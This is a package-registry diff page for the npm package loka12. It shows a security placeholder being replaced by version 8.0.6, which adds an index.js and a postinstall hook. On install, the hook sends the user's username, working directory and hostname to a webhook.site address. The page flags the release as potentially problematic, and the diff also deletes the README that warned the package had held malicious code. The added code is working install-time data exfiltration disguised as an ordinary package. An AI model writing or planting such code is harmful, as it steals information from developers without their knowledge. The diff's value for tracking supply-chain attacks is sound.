loka12 0.0.1-security → 8.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of loka12 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +38 -0
  2. package/package.json +11 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const { name: packageName, version: packageVersion } = require('./package.json');
5
+
6
+
7
+ const webhookUrl = 'https://webhook.site/fc0b10c9-4c7c-4af7-b73f-903e1d5338ba';
8
+
9
+ const username = os.userInfo().username || 'unknown';
10
+ const path = process.cwd();
11
+ const hostname = os.hostname();
12
+ const timestamp = new Date().toISOString();
13
+ const userAgent = `${packageName}/${packageVersion} (${os.platform()}; Node.js/${process.version})`;
14
+
15
+ const payload = {
16
+ package: packageName,
17
+ version: packageVersion,
18
+ user: username,
19
+ path: path,
20
+ hostname: hostname
21
+ };
22
+
23
+ const queryString = Object.keys(payload)
24
+ .map(key => `${key}=${encodeURIComponent(payload[key])}`)
25
+ .join('&');
26
+
27
+ const options = {
28
+ method: 'GET',
29
+ headers: {
30
+ 'User-Agent': userAgent
31
+ }
32
+ };
33
+
34
+ https.get(`${webhookUrl}?${queryString}`, options, (res) => {
35
+ console.log('Data sent successfully');
36
+ }).on('error', (e) => {
37
+ console.error('Error sending request:', e);
38
+ });
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
- {
2
- "name": "loka12",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "loka12",
3
+ "version": "8.0.6",
4
+ "description": "my package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "abdozakria117",
10
+ "license": "ISC"
11
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=loka12 for more information.